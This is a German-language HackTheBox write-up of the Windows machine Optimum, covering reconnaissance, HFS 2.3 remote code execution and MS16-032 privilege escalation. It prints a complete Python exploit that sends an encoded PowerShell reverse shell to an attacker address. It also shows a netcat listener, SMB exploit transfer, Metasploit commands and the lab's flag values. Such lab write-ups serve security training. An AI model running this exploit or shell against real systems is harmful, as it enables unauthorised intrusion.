> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# Optimum HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Optimum mit Abdeckung von HFS 2.3 RCE und MS16-032-Privilegieneskalation.

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**Techniken**

* Remote-Code-Ausführung in HttpFileServer 2.3
* Enumeration des Windows-Hosts
* Lokale Privilegieneskalation MS16-032
  {% endhint %}

## Aufklärung

### Arbeitsumgebung vorbereiten

Erstelle ein eigenes Verzeichnis für die Maschine:

```bash
mkdir Optimum
cd Optimum
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMZWzIevujvcMVhsxpqaP%2Fimage.png?alt=media&amp;token=1194ee7f-3313-4dea-af55-4c29104ffd81" alt="" width="563"><figcaption></figcaption></figure>

Das `127` TTL deutet darauf hin, dass das Ziel Windows ausführt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWCOm5wtDOFlhjHXqxXad%2Fimage.png?alt=media&amp;token=89c599b6-67b8-4c31-bef8-7454ea2de798" alt="" width="563"><figcaption></figcaption></figure>

### Offene Ports entdecken

Scanne jeden TCP-Port und speichere die Ergebnisse:

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts
```

Nmap identifiziert Port `80` als einzigen offenen Port.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmF56ubNk616juQgBilrS%2Fimage.png?alt=media&amp;token=7f18ca07-be92-438c-a096-ccec1257d8d6" alt=""><figcaption></figcaption></figure>

### Identifiziere den Webdienst

Führe Versionserkennung und Standardskripte gegen Port `80`:

```bash
sudo nmap -sCV -p80 10.129.5.151 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiBjTaUprlMsnMDujiDNM%2Fimage.png?alt=media&amp;token=2ed7e5f6-2adb-4985-9656-8e5769e3d53e" alt=""><figcaption></figcaption></figure>

Das Ziel führt HttpFileServer 2.3 aus.

Diese Version hat eine bekannte Remote-Code-Execution-Schwachstelle.

```bash
searchsploit httpfileserver
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTWJ4RFWZSKoQ8AXZpjAG%2Fimage.png?alt=media&amp;token=3e7e56df-3204-4c0c-a1ab-d2a1c59bf6d4" alt=""><figcaption></figcaption></figure>

### Exploit für HFS 2.3

Verwende das folgende Python-Skript, um eine codierte PowerShell-Reverse-Shell zu senden. Aktualisiere zuerst die Werte für Listener und Ziel:

```bash
import requests
import urllib
import base64

lhost = '10.10.15.2' # Ändere dies
lport = '1234'        # Ändere dies
rhost = '10.129.5.151' # Ändere dies
rport = '80'        # Ändere dies

command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

command_bytes = command.encode('utf-16le')
base64_bytes = base64.b64encode(command_bytes)
encodedcommand = base64_bytes.decode('ascii')

payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand 

encodedpayload = urllib.parse.quote_plus(payload)

url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}'

r = requests.get(url)

if r.status_code == 200:
    print('GET Request Sent')
else:
    print('Failed to Send Request')
```

Starte einen Listener, bevor du das Skript ausführst:

```bash
rlwrap nc -nvlp 1234
```

Führe den Exploit von deinem lokalen Rechner aus aus:

```bash
python3 rce.py
```

Das Ziel verbindet sich zurück mit einer PowerShell-Reverse-Shell.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FManKccjsbMg27N5TyiV8%2Fimage.png?alt=media&amp;token=3246937e-a015-435d-b3bd-6e02fa807c78" alt=""><figcaption></figcaption></figure>

### Die User-Flag holen

{% code overflow="wrap" %}

```bash
type C:\Users\kostas\Desktop\user.txt
```

{% endcode %}

* f2f8d68c549c18e1b94d2c99207e3022

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaznSW5c7XYrJGXX3dr4F%2Fimage.png?alt=media&amp;token=314e87c0-c3f7-49e4-bd5e-afe01cd5a9f3" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### Identifiziere den Eskalationspfad

Untersuche das Betriebssystem des Ziels:

{% code overflow="wrap" %}

```bash
systeminfo
```

{% endcode %}

Das Ziel führt Windows Server 2012 R2 aus.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FXzsASDHc6dMwDCsL2dh5%2Fimage.png?alt=media&amp;token=0c9c3f14-2810-4c7b-8120-8d79a83e7253" alt=""><figcaption></figcaption></figure>

Der Host ist anfällig für die MS16-032 x64-Kernel-Eskalation.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

Lade das Exploit-Repository herunter und finde die kompilierte Payload:

{% code overflow="wrap" %}

```bash
windows-kernel-exploits/MS16-032/x64/ms16-032.exe
```

{% endcode %}

### Übertrage den Exploit

Starte einen SMB-Server im Verzeichnis mit dem Exploit:

{% code overflow="wrap" %}

```bash
sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support
```

{% endcode %}

Kopiere die ausführbare Datei auf das Ziel:

```bash
copy \\10.10.15.2\share\ms16-032.exe .
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfeBCQ8ZtdyEHC5sYWhdn%2Fimage.png?alt=media&amp;token=8a362574-6e4d-4aca-84fd-feabd39dc2c3" alt=""><figcaption></figcaption></figure>

```bash
copy \\10.10.15.2\share\MS16-032.ps1 .
```

Die PowerShell-Payload ist auf diesem Host nicht verfügbar.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgsrBlC6gtRl5msvHVgLH%2Fimage.png?alt=media&amp;token=6196ea8e-274e-4efe-8c4d-b067a8976fae" alt=""><figcaption></figcaption></figure>

### Nutze MS16-032 mit Metasploit aus

Verwende stattdessen Metasploit:

{% code overflow="wrap" %}

```bash
search ms16-032
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FPnk5Ze4RC9qPGILDRZLW%2Fimage.png?alt=media&amp;token=4b822b75-d5aa-40b8-947f-a7d6c27a3358" alt=""><figcaption></figcaption></figure>

Wähle das MS16-032-Modul aus und führe es gegen die aktive Sitzung aus:

{% code overflow="wrap" %}

```bash
use 0 

set SESSION 2

run

getuid
```

{% endcode %}

Die Sitzung läuft jetzt als `NT AUTHORITY\SYSTEM`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAalaLilqBYjwo81aytHU%2Fimage.png?alt=media&amp;token=1354b0f2-bc3c-4ee7-9980-936ad7dfcd91" alt=""><figcaption></figcaption></figure>

### Hole die Root-Flag

{% code overflow="wrap" %}

```bash
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

* 0d795fff7eac20e753543b412dfa5c34

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCqQFVgTjPVbu2gsFb5jL%2Fimage.png?alt=media&amp;token=45f6584b-1f79-4c92-9af1-707740739c16" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3ASkNBpWpPr6dILVCeQ%2Fimage.png?alt=media&amp;token=585831c3-0aad-49dc-b418-271338292956" alt="" width="361"><figcaption></figcaption></figure>


---

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